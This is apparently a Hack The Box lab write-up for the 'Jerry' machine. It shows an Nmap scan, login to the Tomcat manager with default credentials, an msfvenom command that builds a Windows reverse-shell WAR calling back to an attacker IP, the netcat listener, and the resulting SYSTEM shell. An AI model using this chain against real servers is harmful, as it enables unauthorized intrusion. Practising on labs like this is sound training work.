

Jerry

Related Academy Modules

- Network Enumeration with Nmap
- Login Brute Forcing
- Windows Privilege Escalation
- Broken Authentication
- Attacking Common Applications
- File Upload Attacks
- Password Attacks
- Introduction to Networking
- Getting Started
- Shells & Payloads
- Using the Metasploit Framework

Nmap scan

We first run a basic Nmap service scan to determine the open TCP ports. I like to do service, basic script and OS scan with maximum speed on HTB machines. We get the following result:

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-23 15:44 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.10.10.95
Host is up (0.042s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
8080/tcp  open  http    [REDACTED]
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: [REDACTED]
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: [REDACTED]
Warning: OSScan results may be unreliable because we could not find at least
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_ser
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (97%), Microsoft Win
No exact OS matches for host (test conditions non-ideal).

OS and Service detection performed. Please report any incorrect results at h
Nmap done: 1 IP address (1 host up) scanned in 21.21 seconds
```

Navigating around

Navigating around IP:8080, we can find the documentation, configuration, examples and the manager app at the click of a button. If we click on the Manager App and try some default credentials, like admin:admin we get **403 Access Denied**, but we still see the path to the

manager app in the URL. We also find some interesting credentials.

403 Access Denied

You are not authorized to view this page.

If you have already configured the Manager application to allow access and you have the [main Manager page](#). Once you return to this page, you will be able to continue using it.

If you have not changed any configuration files, please examine the file `conf/tomcat`.

For example, to add the `manager-gui` role to a user named `tomcat` with a password:

```
<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
```

Note that for Tomcat 7 onwards, the roles required to use the manager application were:

- `manager-gui` - allows access to the HTML GUI and the status pages
- `manager-script` - allows access to the text interface and the status pages
- `manager-jmx` - allows access to the JMX proxy and the status pages
- `manager-status` - allows access to the status pages only

The HTML interface is protected against CSRF but the text and JMX interfaces are not.

- Users with the `manager-gui` role should not be granted either the `manager-script` or `manager-jmx` roles.
- If the text or jmx interfaces are accessed through a browser (e.g. for testing syntax), you will receive a 403 Access Denied error.

For more information - please see the [Manager App HOW-TO](#).

In the Manager App

The credentials were not only interesting, but also valid. We got into the Manager App. It looks like we are on the right track to RCE with an Arbitrary File Upload.

Select file to upload No file selected.

Reverse Shell

Now there are multiple POC's for this well known CVE. If you just write a couple of keywords like:

- *service RCE*
- *service vulnerability*
- *service version CVE*

I'm sure you'll find multiple POC's to use. I've tried them but they didn't work for me, so I used **msfvenom** to create a reverse tcp shell.

```
L-$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=4444 -f war > rev_shell-9002.war
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of war file: 52286 bytes
```

Now you'll need to open up that file at some point, to find out the name of the .jsp file you will need to use. Mine is: **fcokumrprrb.jsp**.

Deploy the reverse shell on the Manager App, start listening on netcat and request the file. In my case I used

```
curl 10.10.10.95:8080/rev_shell/fcokumrprrb.jsp
```

while listening with netcat on the specified port:

```
nc -lvnp 4444
```

We got our results.

```
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

C:\apache-tomcat-7.0.88>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04

Directory of C:\apache-tomcat-7.0.88

06/19/2018  04:07 AM    <DIR>          .
06/19/2018  04:07 AM    <DIR>          ..
06/19/2018  04:06 AM    <DIR>          bin
06/19/2018  06:47 AM    <DIR>          conf
06/19/2018  04:06 AM    <DIR>          lib
05/07/2018  02:16 PM             57,896 LICENSE
09/24/2025  05:46 AM    <DIR>          logs
05/07/2018  02:16 PM             1,275 NOTICE
05/07/2018  02:16 PM             9,600 RELEASE-NOTES
05/07/2018  02:16 PM            17,454 RUNNING.txt
09/24/2025  06:53 AM    <DIR>          temp
09/24/2025  06:52 AM    <DIR>          webapps
06/19/2018  04:34 AM    <DIR>          work
               4 File(s)            86,225 bytes
               9 Dir(s)  2,391,343,104 bytes free
```

Your intuition will probably take you straight to the flags, with this very kindly named file: **2 for the price of 1.txt**.

Goodbye!